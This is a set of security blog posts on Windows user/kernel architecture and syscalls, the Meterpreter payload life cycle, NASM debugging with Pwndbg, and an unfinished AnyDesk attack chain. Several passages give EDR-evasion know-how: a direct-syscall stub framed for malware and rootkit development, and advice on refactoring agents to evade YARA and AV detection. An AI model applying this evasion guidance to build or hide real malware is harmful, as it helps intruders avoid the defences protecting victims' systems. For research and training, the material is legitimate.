Tools:

WinDbg Preview
Volatility - Memory forensics
MemProcFS - Memory analysis

<h2><strong style="color: red;">Master memory, control the system.</strong></h2>

Windows Architecture Deep Dive: User Mode vs Kernel Mode

Mon, 15 Sep 2025 00:00:00 GMT

Giới thiệu

Hiểu rõ Windows architecture là nền tảng quan trọng nhất cho bất kỳ ai làm offensive security research targeting Windows systems. Cho dù bạn đang develop exploits, phân tích malware, hay research vulnerabilities, kiến thức sâu về cách Windows hoạt động ở mức architectural là absolutely essential.

Bài này deep dive vào ranh giới giữa User Mode và Kernel Mode - boundary định nghĩa privilege levels, memory isolation, và system call interface kết nối hai thế giới này.

Tại sao điều này quan trọng?

Đối với Exploit Development:

Hiểu syscalls → bypass user-mode hooks
Biết về privilege transitions → identify attack surfaces
Nắm memory architecture → reliable exploitation

Đối với Malware Development:

Direct syscalls → bypass EDR/AV monitoring
Kernel knowledge → develop rootkits
System internals → better evasion

Đối với Vulnerability Research:

Boundary crossings → attack surfaces
Kernel objects → privilege escalation vectors
IRP handling → driver vulnerabilities

Windows Architecture Overview

Windows sử dụng layered architecture với sự phân tách rõ ràng giữa privileged và unprivileged code. Design này cung cấp security thông qua isolation nhưng vẫn maintain performance qua efficient privilege transitions.

┌─────────────────────────────────────────────────────┐
│           USER MODE (Ring 3)                        │
│                                                     │
│  ┌──────────────┐  ┌──────────────┐  ┌──────────┐ │
│  │ Applications │  │   Subsystem  │  │   DLLs   │ │
│  │   (*.exe)    │  │   DLLs       │  │          │ │
│  └──────────────┘  └──────────────┘  └──────────┘ │
│         │                  │                │      │
│         └──────────────────┴────────────────┘      │
│                        │                            │
│              ┌─────────▼─────────┐                 │
│              │   Windows API     │                 │
│              │  (kernel32.dll)   │                 │
│              └─────────┬─────────┘                 │
│                        │                            │
│              ┌─────────▼─────────┐                 │
│              │   Native API      │                 │
│              │   (ntdll.dll)     │                 │
│              └─────────┬─────────┘                 │
└────────────────────────┼─────────────────────────────┘
                         │ SYSCALL/SYSENTER
═══════════════════════════════════════════════════════
                         │
┌────────────────────────▼─────────────────────────────┐
│           KERNEL MODE (Ring 0)                      │
│                                                     │
│  ┌─────────────────────────────────────────────┐  │
│  │   System Service Dispatcher (KiSystemCall)  │  │
│  └─────────────────┬───────────────────────────┘  │
│                    │                               │
│  ┌─────────────────▼───────────────────────────┐  │
│  │        Executive Services                   │  │
│  │  (I/O Manager, Object Manager, Memory Mgr)  │  │
│  └─────────────────┬───────────────────────────┘  │
│                    │                               │
│  ┌─────────────────▼───────────────────────────┐  │
│  │        Windows Kernel (ntoskrnl.exe)        │  │
│  │     (Scheduler, Dispatcher, Sync Objects)   │  │
│  └─────────────────┬───────────────────────────┘  │
│                    │                               │
│  ┌─────────────────▼───────────────────────────┐  │
│  │   Hardware Abstraction Layer (hal.dll)      │  │
│  └─────────────────┬───────────────────────────┘  │
│                    │                               │
│  ┌─────────────────▼───────────────────────────┐  │
│  │          Device Drivers                     │  │
│  └─────────────────────────────────────────────┘  │
└─────────────────────────────────────────────────────┘
                     │
              ┌──────▼──────┐
              │  Hardware   │
              └─────────────┘

User Mode (Ring 3)

User mode là restricted execution environment nơi tất cả application code chạy. Nó operate ở Processor Ring 3 (least privileged ring trong x86/x64 architecture).

Đặc điểm chính:

Limited Privileges:

Không thể directly access hardware
Không thể execute privileged instructions
Không thể directly modify kernel memory
Không thể disable interrupts

Memory Isolation:

Mỗi process có virtual address space riêng
Processes không thể directly access memory của nhau
User-mode addresses: 0x0000000000000000 - 0x00007FFFFFFFFFFF (x64)

Components chạy trong User Mode:

User applications (*.exe)
System processes (csrss.exe, services.exe, etc.)
Subsystem DLLs (kernel32.dll, user32.dll, etc.)
Native API layer (ntdll.dll)

Tại sao User Mode Isolation quan trọng?

Isolation này là first line of defense chống lại:

Malicious applications phá hỏng system
Buggy code gây system-wide crashes
Unauthorized access vào sensitive kernel structures

Tuy nhiên, isolation này cũng là cái mà security researchers target thông qua:

Privilege escalation exploits
Kernel vulnerabilities
Driver exploitation

Kernel Mode (Ring 0)

Kernel mode là fully privileged execution environment nơi operating system core chạy. Nó operate ở Processor Ring 0 (most privileged ring).

Đặc điểm chính:

Full System Access:

Direct hardware access
Execution của privileged instructions (e.g., lgdt, lidt, mov cr3)
Complete memory access (user + kernel space)
Interrupt và exception handling

Memory Layout:

Kernel addresses: 0xFFFF800000000000 - 0xFFFFFFFFFFFFFFFF (x64)
Tất cả kernel-mode components share cùng address space
Direct access vào physical memory qua page tables

Components chạy trong Kernel Mode:

Windows Kernel (ntoskrnl.exe)
Hardware Abstraction Layer (hal.dll)
Device Drivers (*.sys)
Kernel-mode components (win32k.sys, etc.)

Power và Danger của Kernel Mode

Power:

Complete system control
Optimal performance (no context switches)
Direct hardware manipulation

Danger:

Một bug duy nhất có thể crash toàn bộ system (BSOD)
Exploits gain complete system compromise
Không có isolation giữa kernel components

Đây là lý do kernel exploitation là holy grail của offensive security - một vulnerability duy nhất trong kernel mode grants absolute control over the system.

System Call Interface

System call mechanism là controlled gateway giữa user mode và kernel mode. Đây là cách hợp pháp duy nhất để user-mode code request kernel services.

System Call Flow

Hãy trace một CreateFile call đơn giản qua toàn bộ system:

// 1. Application calls Win32 API
HANDLE hFile = CreateFile(
    L"C:\\test.txt",
    GENERIC_READ,
    FILE_SHARE_READ,
    NULL,
    OPEN_EXISTING,
    FILE_ATTRIBUTE_NORMAL,
    NULL
);

Step 1: Win32 API (kernel32.dll)

; kernel32!CreateFileW
; Validates parameters và converts sang Native API
call    qword ptr [kernel32!_imp_NtCreateFile]

Step 2: Native API (ntdll.dll)

; ntdll!NtCreateFile
mov     r10, rcx              ; Save RCX
mov     eax, 0x55             ; Syscall number cho NtCreateFile
syscall                        ; Transition sang kernel mode
ret

Step 3: Kernel Mode Transition

Khi syscall instruction executes:

CPU switches sang Ring 0
RSP switches sang kernel stack
RIP jumps vào KiSystemCall64 trong ntoskrnl.exe
Saves user-mode context (registers, stack pointer)

Step 4: System Service Dispatcher

; KiSystemCall64
; RAX contains syscall number (0x55)
; Lookup trong System Service Descriptor Table (SSDT)
mov     rax, [nt!KeServiceDescriptorTable + rax*8]
call    rax                   ; Call NtCreateFile trong kernel

Step 5: Kernel Execution

// nt!NtCreateFile (simplified)
NTSTATUS NtCreateFile(
    PHANDLE FileHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    PIO_STATUS_BLOCK IoStatusBlock,
    PLARGE_INTEGER AllocationSize,
    ULONG FileAttributes,
    ULONG ShareAccess,
    ULONG CreateDisposition,
    ULONG CreateOptions,
    PVOID EaBuffer,
    ULONG EaLength
) {
    // Validate parameters từ user mode
    ProbeForWrite(FileHandle, sizeof(HANDLE), sizeof(HANDLE));

    // Call I/O Manager
    IoCreateFile(...);

    // Return status
    return STATUS_SUCCESS;
}

Step 6: Return về User Mode

Kernel function returns NTSTATUS
KiSystemCallExit restores user-mode context
CPU switches back về Ring 3
Execution continues trong ntdll.dll

System Call Numbers

Mỗi kernel function có unique syscall number (còn gọi là system service number). Những numbers này:

Version-specific (change between Windows versions)
Architecture-specific (different cho x86 vs x64)
Undocumented by Microsoft

Ví dụ Syscall Numbers (Windows 11 23H2 x64)

Function	Syscall Number
NtCreateFile	0x55
NtReadFile	0x06
NtWriteFile	0x08
NtOpenProcess	0x26
NtAllocateVirtualMemory	0x18
NtProtectVirtualMemory	0x50

Tại sao Syscall Numbers quan trọng?

Cho Offensive Research:

Direct syscalls bypass user-mode hooks (EDR/AV)
Hell's Gate technique dynamically resolves syscall numbers
Understanding SSDT giúp trong kernel exploitation

Practical Implication: Hầu hết EDR/AV solutions hook user-mode APIs (kernel32.dll, ntdll.dll). Bằng cách call syscalls directly, malware có thể evade những hooks này hoàn toàn.

Processor Rings và Privilege Levels

Architecture x86/x64 định nghĩa 4 privilege rings (Ring 0-3), nhưng Windows chỉ dùng hai:

┌─────────────────────────────────────┐
│         Ring 0 (Kernel Mode)        │
│   Highest Privilege - Full Access   │
│                                     │
│  ┌─────────────────────────────┐   │
│  │   Ring 1 (Unused)           │   │
│  │                             │   │
│  │  ┌─────────────────────┐   │   │
│  │  │ Ring 2 (Unused)     │   │   │
│  │  │                     │   │   │
│  │  │  ┌─────────────┐   │   │   │
│  │  │  │   Ring 3    │   │   │   │
│  │  │  │ (User Mode) │   │   │   │
│  │  │  │  Lowest     │   │   │   │
│  │  │  │  Privilege  │   │   │   │
│  │  │  └─────────────┘   │   │   │
│  │  └─────────────────────┘   │   │
│  └─────────────────────────────┘   │
└─────────────────────────────────────┘

Current Privilege Level (CPL) được stored trong CS register:

CPL = 0: Kernel mode
CPL = 3: User mode

Privilege Checks

CPU automatically enforces privilege checks:

// Attempting to execute privileged instruction trong user mode
// Sẽ cause #GP (General Protection Fault)

__asm {
    cli    // Clear Interrupt Flag - privileged instruction
}
// Result: Exception 0x0D (EXCEPTION_PRIVILEGED_INSTRUCTION)

Syscall Instruction Deep Dive (x64)

Modern 64-bit Windows sử dụng SYSCALL/SYSRET instruction pair cho fast system calls, thay thế slower int 0x2E mechanism.

SYSCALL Mechanism

MSR Registers (Model-Specific Registers):

IA32_LSTAR   (0xC0000082): Entry point (KiSystemCall64)
IA32_STAR    (0xC0000081): Code segment selectors
IA32_FMASK   (0xC0000084): RFLAGS mask
IA32_KERNEL_GS_BASE (0xC0000102): Kernel GS base

Khi SYSCALL executes:

RCX ← RIP (save return address)
R11 ← RFLAGS (save flags)
RIP ← IA32_LSTAR (jump vào KiSystemCall64)
CS ← IA32_STAR[47:32] (load kernel code segment)
SS ← IA32_STAR[47:32] + 8 (load kernel stack segment)
CPL ← 0 (switch sang Ring 0)
RFLAGS ← RFLAGS & ~IA32_FMASK (mask flags)

SYSRET Return Mechanism

; Return từ kernel về user mode
sysret

Khi SYSRET executes:

RIP ← RCX (restore return address)
RFLAGS ← R11 (restore flags)
CS ← IA32_STAR[63:48] + 16 (restore user code segment)
SS ← IA32_STAR[63:48] + 8 (restore user stack segment)
CPL ← 3 (switch về Ring 3)

Practical Implications cho Security Research

1. Direct Syscalls để EDR Evasion

Hầu hết EDR/AV products hook user-mode APIs. Bằng cách invoke syscalls directly, bạn có thể bypass những hooks này:

// Traditional approach (hooked bởi EDR)
#include <windows.h>

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);

// Direct syscall approach (bypasses hooks)
typedef NTSTATUS (NTAPI *pNtOpenProcess)(
    PHANDLE ProcessHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    PCLIENT_ID ClientId
);

// Manually craft syscall stub
__asm {
    mov r10, rcx
    mov eax, 0x26        // NtOpenProcess syscall number
    syscall
    ret
}

Techniques:

Hell's Gate: Dynamically resolve syscall numbers từ ntdll.dll
Halo's Gate: Handle hooked syscalls bằng cách tìm nearby clean stubs
SysWhispers: Pre-generate syscall stubs cho all Windows versions

2. Understanding Kernel Entry Points

Biết kernel entry mechanism giúp trong:

Exploit Development:

Kernel shellcode phải restore proper state trước khi return
Understanding KPCR (Kernel Processor Control Region) structure
Proper syscall number usage trong exploits

Rootkit Development:

Hooking KiSystemCall64 cho system-wide API monitoring
SSDT hooking (System Service Descriptor Table)
IDT hooking cho interrupt interception

3. Memory Layout Implications

Memory split có consequences quan trọng:

64-bit Windows (x64):

User Space:   0x0000000000000000 - 0x00007FFFFFFFFFFF (128 TB)
Kernel Space: 0xFFFF800000000000 - 0xFFFFFFFFFFFFFFFF (128 TB)

Cho Exploitation:

User-mode pointers phải được validated trong kernel (ProbeForRead/ProbeForWrite)
Failure to validate = arbitrary kernel write vulnerability
SMEP (Supervisor Mode Execution Prevention) prevents executing user-mode code từ kernel context

Lab Exercise: Tracing System Calls với WinDbg

Hãy perform một practical exercise để observe system calls in action.

Setup Requirements

Windows 11 VM (target machine)
WinDbg Preview (debugger trên host)
Kernel debugging enabled trên VM

Enable Kernel Debugging

# Trên target VM (Administrator)
bcdedit /debug on
bcdedit /dbgsettings serial debugport:1 baudrate:115200
shutdown /r /t 0

Exercise 1: View System Call in Action

Step 1: Break into kernel debugger

Debug → Break (Ctrl+Break)

Step 2: Set breakpoint trên NtCreateFile

kd> bp nt!NtCreateFile
kd> g

Step 3: Trên target VM, create một file

# Trên target VM
notepad.exe
# File → Save → Type filename → Click Save

Step 4: Khi breakpoint hits, examine call stack

kd> k
# 0 nt!NtCreateFile
# 1 nt!KiSystemCall64Shadow
# 2 nt!KiSystemCall64
# 3 ntdll!NtCreateFile + 0x14
# 4 kernelbase!CreateFileW + 0x66
# 5 notepad!SaveFile + 0x1a2

Step 5: Examine syscall number trong RAX

kd> r rax
rax=0000000000000055    # NtCreateFile syscall number

Step 6: View parameters

kd> dq @rcx L1    # FileHandle
kd> dq @rdx L1    # DesiredAccess
kd> dt nt!_OBJECT_ATTRIBUTES @r8    # ObjectAttributes

Exercise 2: Enumerate All Syscalls

View SSDT (System Service Descriptor Table):

kd> dq nt!KeServiceDescriptorTable L2
# fffff800`12345678  fffff800`12abc000   # ServiceTableBase
# fffff800`12345680  0000000000000000   # ServiceCounterTableBase

Resolve syscall numbers sang function names:

kd> !reload
kd> dps nt!KiServiceTable L4
# fffff800`12abc000  nt!NtAccessCheck
# fffff800`12abc008  nt!NtWorkerFactoryWorkerReady
# fffff800`12abc010  nt!NtAcceptConnectPort
# fffff800`12abc018  nt!NtMapUserPhysicalPagesScatter

Modern Mitigations

SMEP (Supervisor Mode Execution Prevention)

Được giới thiệu trong Windows 8, SMEP prevents kernel từ việc executing user-mode code:

CR4 register bit 20 = 1 → SMEP enabled

Impact trên Exploitation:

Kernel exploits không thể simply jump vào shellcode trong user-mode
Requires ROP (Return-Oriented Programming) trong kernel space
Hoặc disabling SMEP (requires arbitrary write vào CR4)

SMAP (Supervisor Mode Access Prevention)

Được giới thiệu trong Windows 10 RS3, SMAP prevents kernel từ việc accessing user-mode memory:

CR4 register bit 21 = 1 → SMAP enabled

Impact trên Exploitation:

Kernel không thể dereference user-mode pointers without explicit override
Requires sử dụng ProbeForRead/ProbeForWrite APIs
More careful exploit primitive construction

HVCI (Hypervisor-Protected Code Integrity)

Còn được gọi là Memory Integrity, sử dụng virtualization để protect kernel code:

Kernel code pages được marked read-only via hypervisor EPT (Extended Page Tables)
Attempts to modify kernel code trigger VM exits
Defeats hầu hết traditional kernel hooking techniques

Note: HVCI là một trong những mitigations mạnh nhất của Windows hiện đại. Nó leverage hardware virtualization (VT-x/AMD-V) để create một trusted execution environment. Understanding HVCI là critical cho modern kernel exploit development.

Common Misconceptions

Misconception 1: "Syscalls chậm"

Reality: Modern syscall instruction cực kỳ fast (~50-100 CPU cycles). Overhead đến từ:

Parameter validation
Context saving/restoring
Actual kernel work được performed

Misconception 2: "Tất cả kernel functions start với Nt"

Reality:

Nt* functions là native API exported bởi ntoskrnl.exe
Zw* versions giống hệt nhưng perform previous mode checks
Internal kernel functions dùng various prefixes (Ke, Mm, Io, etc.)

Misconception 3: "Direct syscalls luôn bypass EDR"

Reality: Modern EDRs có thể detect direct syscalls thông qua:

Call stack analysis (missing ntdll.dll frames)
Syscall origin checks (executing từ unusual memory)
Behavioral detection (suspicious API patterns)

Wrapup

Understanding Windows architecture - đặc biệt là user/kernel mode boundary và system call mechanism - là fundamental cho tất cả advanced Windows security research. Knowledge này forms nền tảng cho:

Exploit development: Understanding privilege boundaries và attack surfaces
Malware development: Implementing evasion thông qua direct syscalls
Vulnerability research: Identifying weaknesses trong syscall interface
Reverse engineering: Comprehending system behavior ở lowest level

Knowledge về Windows architecture này là foundation cho advanced exploitation techniques, malware development, và vulnerability research.

References

Books:

Windows Internals, Part 1 & 2 (7th Edition) - Mark Russinovich, David Solomon, Alex Ionescu
Windows Kernel Programming - Pavel Yosifovich
Rootkits and Bootkits - Alex Matrosov, Eugene Rodionov, Sergey Bratus

Microsoft Documentation:

Tools:

SysWhispers - Syscall generation framework
System Informer - System exploration tool
WinDbg Preview - Modern Windows debugger

Meterpreter Life Cycle

Mon, 28 Jul 2025 00:00:00 GMT

Introduction

This post walks through the life cycle of a Meterpreter payload—from generation to execution—highlighting its core components, how extensions expand capabilities, and why modern defenses often detect it. We will also clarify key terminology used throughout.

Components

Windows Meterpreter is primarily built around reflective DLLs—dynamic link libraries that can be loaded directly into memory without touching disk. This in‑memory approach improves stealth and reduces the chance of detection by traditional antivirus. At the heart of Meterpreter lies its core component, Metsrv. This module manages network communications, loads extensions, and coordinates foundational operations. On its own, however, Metsrv offers limited offensive capabilities. To unlock the full potential of Meterpreter, extensions must be loaded. These modules expand functionality—keylogging, screen capture, file system manipulation, and more. Without extensions, Meterpreter is largely a shell with minimal practical use.

Extensions

Extensions are additional reflective DLLs loaded into the same process to expand a Meterpreter session (no new processes, nothing written to disk). Examples:

stdapi: interact with the OS and file system (cd, ls, netstat, arp, and more)
extapi: WMI and ADSI support; interact with the clipboard and services
priv: privilege escalation to SYSTEM; dump SAM
kiwi: Mimikatz features
bofloader: load COFF/BOF files

Loading Extensions

Extensions follow the "ext_server_*.dll" naming convention.

elevator is a reflective DLL used by the priv extension
screenshot is a reflective DLL used by the stdapi extension

Btw—reality check: Meterpreter can be noisy. Consider:

Executables generated by Metasploit are often blocked by AVs.
Meterpreter’s shellcode initialization patterns are detected and blocked by EDRs.
Even if it runs, memory scans and YARA rules can easily spot a Meterpreter agent in process memory. When Meterpreter was created, it filled an important need: a post‑exploitation tool better than traditional shells. Over time, defenses improved and priorities shifted. We face challenges like this: Nowadays it’s hard to use public tools out‑of‑the‑box (including Meterpreter). Security mechanisms have improved, so the offensive side must adapt. If your toolset is easily blocked by automated solutions:
You cannot demonstrate impact.
You cannot assess efficacy.
You cannot train and improve security teams. We can ask clients to temporarily allow tools in some assessments, but that often slows things down. Instead of abandoning Meterpreter, let’s adapt and learn. Even if we end up not using Meterpreter, the lessons will transfer to other tools. In the next sections, we analyze a Meterpreter payload’s life—from generation to execution. First, let’s align on a few key concepts and general payload terminology.

Terminology

Exploit & Payload

The terms "exploit" and "payload" are often conflated. They are separate:

Exploit: the process that abuses a vulnerability
Payload: code that runs after exploitation to achieve specific results With memory corruption, the payload is typically shellcode (a byte sequence of assembly instructions). For other vulnerability classes, payloads take different forms:
SQL Injection: SQL that lists database tables
XSS: JavaScript structured in a specific way
Broken access control: a specially crafted HTTP request

In-memory Payload

We focus on scenarios where you can execute code (shellcode) in memory—e.g., MS17‑010, running malicious executables, or post‑exploitation techniques like process injection. Meterpreter and many MSF modules run in memory thanks to reflective DLLs (reflective DLL injection):

Reflective DLLs are easier to develop than handwritten shellcode
Similar execution processes can be reused across a reflective DLL toolset

Reflective DLL Injection

Technique for in‑memory execution of unmanaged/native DLL files (and sometimes EXE files). This is not specific to MSF/Meterpreter. Modern frameworks often implement agents as reflective DLLs (and use reflective PE injection) to help evade security controls.

Architecture & Data Flow

Metsrv, TLV, and Transports

Metsrv: session loop, transport management, and extension loading.
TLV protocol: Type–Length–Value framing for requests/responses (e.g., stdapi file operations) that works over any transport.
Transports: TCP and HTTP/HTTPS are common; named pipes/DNS appear via modules. HTTPS provides cover (proxies/CDNs) at a small cost in overhead.

Extension Model

Extensions are reflective DLLs loaded by Metsrv to register new TLV endpoints.
Initialization typically exports a small registration routine that binds commands to handlers.

Session Lifecycle

Staged vs. Stageless

Staged: a minimal loader pulls Metsrv (stage2) over the network; smaller initial artifact but more network indicators and more ways to break.
Stageless: a single, self‑contained agent; larger artifact but fewer moving parts and often more stable.

Generation → Delivery → Execution

Generation: choose OS/arch/transport, staged vs. stageless, C2 profile, and packing/obfuscation.
Delivery: exploit, phishing, living‑off‑the‑land, or lateral movement.
Execution: reflective DLL injection, process injection (CreateRemoteThread/APC/Thread Hijack), or child‑process spawn with arguments.

Reflective Loader Internals (deeper)

Typical steps inside a reflective loader:

Parse PE headers, allocate image, copy headers/sections; zero‑fill VirtualSize gaps.
Resolve imports (incl. forwarders); patch IAT; handle delay‑loads when present.
Apply relocations if not loaded at preferred base.
Honor TLS callbacks before EntryPoint.
Set final memory protections per section characteristics (avoid RWX).
Transfer control to DllMain/WinMain/main as applicable.

Detection & Evasion Details

Memory artifacts: RWX regions, IAT anomalies, unbacked executable pages, common API call graphs.
Hooking/Unhooking: naïve ntdll.dll unhooking can trigger EDR heuristics; consider syscall stubs or clean mappings.
ETW/AMSI: for native agents, AMSI is less relevant; ETW providers still surface behavior—patching can be fragile and detectable.
Network indicators: default URIs, user‑agents, and jitter patterns are low‑hanging fruit—customize profiles.
YARA/Sigma: strings, export names, and section layouts are common signatures; refactor and rename liberally.

Build & Detection Caveats

Tooling: Prefer custom loaders over stock msfvenom templates; match x86/x64; strip PDBs.
OPSEC: Test in an isolated lab; use custom C2 profiles; rotate infra (domains/certs).
AV/EDR: Recompile and refactor; rename exports/strings; avoid default URIs; add sleep/jitter; consider indirect syscalls where appropriate.
Memory hygiene: Avoid RWX; set proper section protections; minimize obvious patterns in loaders.
Ethics: Use only with written authorization; comply with laws and client rules of engagement.

Slice the Stack, Spot the Bug: From Registers to Root Cause

Tue, 22 Apr 2025 00:00:00 GMT

(Viết cho Ubuntu 22.04, GDB ≥ 11, NASM 2.16 trở lên – các bản khác chỉ cần thay lệnh link cho phù hợp)---

1. NASM là gì?

NASM (Netwide Assembler) là một trình biên dịch Assembly mã mở, đa nền tảng, dùng cú pháp Intel rõ ràng và rất linh hoạt trong việc định nghĩa macro, nhãn và section (.data, .bss, .text). So với MASM (Microsoft Macro Assembler) – vốn chỉ chạy trên Windows và tích hợp chặt với Visual Studio, hỗ trợ nhiều chỉ thị “cao cấp” (như TYPEDEF, PROC/ENDP) – NASM nhẹ hơn và dễ mang sang Linux, macOS hay BSD. Còn GAS (GNU Assembler) trong bộ Binutils mặc định dùng cú pháp AT&T (thuộc dạng movl %eax, %ebx), đôi khi gây khó khăn với người quen Intel syntax; tuy nhiên GAS gắn chặt với toolchain GCC và hỗ trợ inline assembly trực tiếp trong C/C++. Trong khi đó TASM hay FASM cũng là trình assembler có khả năng tối ưu cao và macro mạnh, nhưng ít được duy trì và ít cộng đồng hơn so với NASM.

Về khả năng tương tác với hệ điều hành, NASM cho phép chúng ta tự do chọn cách gọi system call (dùng int 0x80 hoặc syscall), trong khi MASM thường dùng WinAPI (Invoke ExitProcess, WriteFile…). Với GAS, chúng ta sẽ gắn trực tiếp các symbol do GCC sinh ra. Cuối cùng, so với các ngôn ngữ bậc cao như C, việc viết NASM đòi hỏi quản lý thủ công thanh ghi, bộ nhớ và cờ CPU, nhưng đổi lại chúng ta có toàn quyền tối ưu hóa từng chu kỳ lệnh, tiết kiệm bộ nhớ và hiểu sâu về cách CPU vận hành—mà C hay các ngôn ngữ khác không thể hiện chi tiết đến vậy.

2. Vì sao nên dùng Pwndbg thay vì GDB “thuần” khi debug ASM?

Bố cục 4‑pane (regs | stack | disasm | source) tô màu, giúp chúng ta “nhìn phát hiểu” luồng thực thi.
Lệnh context tự cập nhật khi chúng ta stepi – không cần gõ info r, x/5i $eip liên tục.
Thao tác địa chỉ tuyệt đối (bộ nhớ, stack) cực nhanh nhờ alias như tel, hexdump, vmmap.
Hỗ trợ cả dwarf lẫn stabs nên NASM + -g hoạt động trơn tru.

3. Build có Debug Info và không có Debug Info

Ta build 1 chương trình assembly x86 như sau:

section .data
    msg     db  "Hello, world!", 0xA   ; chuỗi + newline
    len     equ $ - msg                ; tính độ dài

section .text
    global _start

_start:
    ; sys_write(int fd, const void *buf, size_t count)
    mov     eax, 4      ; syscall số 4 = sys_write
    mov     ebx, 1      ; fd = 1 (stdout)
    mov     ecx, msg    ; buffer
    mov     edx, len    ; count
    int     0x80        ; gọi kernel

    ; sys_exit(int status)
    mov     eax, 1      ; syscall số 1 = sys_exit
    xor     ebx, ebx    ; status = 0
    int     0x80        ; gọi kernel

Khi có debug info(debug-symbol) (-g, DWARF/STABS)

Với cú pháp lệnh build với debug-symbol và link tạo binary như sau:

nasm -f elf -g -F dwarf hello.asm -o helloDebugsymbol.o
ld -m elf_i386 -o helloDebugsymbol helloDebugsymbol.o

Breakpoint theo nguồn: chúng ta có thể đặt breakpoint ngay tại tên hàm hoặc số dòng trong file .c/.asm (ví dụ: break main.c:42 hoặc break _start).
Hiển thị code bên cạnh disassembly: Pwndbg sẽ đồng bộ hiển thị cả source code và opcode, giúp chúng ta nắm được luồng thực thi tức thì.
Thông tin biến và kiểu dữ liệu: chúng ta có thể dùng print counter hoặc print struct_point.x để xem giá trị đúng tên biến chứ không phải đọc raw memory.
Call stack rõ ràng: Lệnh backtrace liệt kê chuỗi hàm kèm tham số, giá trị biến local và frame pointer chính xác.
Kích thước file lớn hơn: Thêm các section .debug_* (hoặc .stab), có thể strip riêng khi release với objcopy --strip-debug.

Khi không có debug info (bỏ -g, hoặc dùng -s)

nasm -f elf hello.asm -o hello.o
ld -m elf_i386 -s -o hello hello.o

Breakpoint theo địa chỉ: Chỉ có thể dùng break *0x8049000, không thể break theo tên hàm hay số dòng.
Chỉ disassembly: chúng ta chỉ thấy opcode và địa chỉ, không có source code hiển thị kèm.
Biến bị strip: Không thể print var_name; mọi thứ phải đọc qua x/4wx hoặc manual cast pointer.
Call stack hạn chế: backtrace chỉ trả về địa chỉ và offset, rất khó theo dõi luồng gọi.
File nhẹ hơn: Thích hợp cho release, không lộ metadata, dung lượng nhỏ hơn.
Lưu ý: Khi không có debug info, chúng sẽ debug “mù” source. Hãy tận dụng Pwndbg để:
- Tự động format disassembly, highlight registers.
- Search pattern và gadget nhanh.
- Telescope stack để xem layout.
- Vmmap/piebase để xử lý PIE.

Tip: Dù không có symbol, Pwndbg vẫn hỗ trợ context disasm stack regs, search --string "Hello", telescope $esp để điều hướng nhanh hơn GDB thuần.

4. DWARF và STABS – Hai “Ngôn ngữ” Của Debugger

Khi biên dịch mã với tùy chọn -g, NASM có thể chèn thông tin gỡ lỗi theo hai chuẩn chính: DWARF (hiện đại) và STABS (cổ điển). Về cơ bản, cả hai đều giúp GDB/Pwndbg “hiểu” được mối quan hệ giữa địa chỉ máy (opcode) và vị trí trong file nguồn, nhưng khác nhau ở mức độ phong phú và khả năng mở rộng:

DWARF

Chia nhỏ vào các section như .debug_info, .debug_line, .debug_abbrev… nên dễ quản lý và mở rộng (hãy nghĩ tới việc hiển thị inlined function, macro, template, struct phức tạp).
Là chuẩn mặc định của GCC/Clang, được các công cụ hiện đại (IDE, profiler, sanitizers…) ưu tiên hỗ trợ.
Dung lượng file debug lớn hơn STABS nhưng có thể strip hoặc compress tách riêng khi đóng gói release.

STABS

Ra đời từ kỷ nguyên UNIX 32‑bit, vẫn được dùng trong các toolchain cũ hoặc kernel module legacy.
Gom thông tin vào .stab/.stabstr với cấu trúc đơn giản, chỉ đủ để map tên hàm, biến, số dòng; ít metadata hơn DWARF.
File .o thường nhỏ hơn, nhưng gần như không thể mở rộng để lưu thêm thông tin hiện đại (ví dụ inline call hay macro expansion).
Tóm lại, với hầu hết workflow ngày nay – đặc biệt khi chúng ta cần debug kết hợp C và ASM hoặc theo dõi macro/inline– thì DWARF là lựa chọn ưu việt, còn STABS chỉ dành cho các dự án cực kỳ cổ hoặc môi trường toolchain bị giới hạn.

5. Chuẩn bị môi trường

# 1. Cài pwndbg
git clone https://github.com/pwndbg/pwndbg ~/tools/pwndbg
cd ~/tools/pwndbg && ./setup.sh

# 2. Cài nasm (nếu chưa có)
sudo apt install nasm

6. Khởi động Pwndbg

gdb ./hello        # Pwndbg tự nạp qua ~/.gdbinit
starti             # dừng ngay lệnh đầu

chúng ta sẽ thấy:

5. Quy trình debug NASM “chuẩn bài”

Bước	Lệnh & ý nghĩa
1. Xem toàn cảnh	`context` (hoặc `context regs disasm`)
2. Bước từng lệnh	`stepi` (`si`), `nexti` (`ni`)
3. Theo dõi thanh ghi quan trọng	`reg eax edi esi edx`
4. Soi stack	`telescope $esp` (`tel`)
5. Xem ô nhớ bất kỳ	`x/10wx 0x404000` (16 byte word)
6. Đặt breakpoint vào nhãn	`break _start+5` hoặc `break *0x40100b`
7. Đổi theme dark/light	`theme context.theme dark`
8. Ghi macro lặp bước	`define stepx\nsi\ncontext\nend`

... Continue

Hy vọng qua bài blog này có thể giúp chúng ta debug “nhanh như gió”, snipe bug chuẩn từng thanh ghi!

Repurposing remote desktop application as a strategic exploit

Mon, 10 Feb 2025 00:00:00 GMT

Trong thế giới an ninh mạng, công cụ hợp pháp đôi khi trở thành vũ khí nguy hiểm khi rơi vào tay kẻ tấn công. Các ứng dụng Remote Desktop như AnyDesk, TeamViewer, Windows RDP không chỉ hỗ trợ quản trị hệ thống từ xa mà còn mở ra cơ hội cho Red Team thực hiện Lateral Movement, Leo thang đặc quyền (Privilege Escalation), và Duy trì truy cập (Persistence).

Trong bài viết này, chúng ta sẽ đi tìm hiểu một chuỗi kịch bản tấn công sử dụng AnyDesk – từ xâm nhập ban đầu đến thiết lập duy trì kết nối lâu dài.

Initial Access

1. Social Engineering
Các nhóm ransomware như Black Basta,Lockbit,... thường gửi hàng loạt email đăng ký newsletter hợp pháp, gây nhiễu loạn hệ thống, sau đó liên hệ qua điện thoại (vờ là bộ phận IT) để dụ nạn nhân tải AnyDesk để "khắc phục sự cố".

2. Phishing
Email/website giả mạo dụ người dùng tải phiên bản AnyDesk độc hại (chứa backdoor hoặc các phiên bản cũ có dính lổ hổng bảo mật) hoặc nhập thông tin xác thực giả. Khi cài đặt thành công, attacker toàn quyền điều khiển máy nạn nhân qua giao diện AnyDesk.

3. Lỗ hổng Phần mềm Các phiên bản AnyDesk chưa vá (đặc biệt lỗi CVE-2021-44425) cho phép attacker khai thác để chiếm quyền truy cập trái phép.

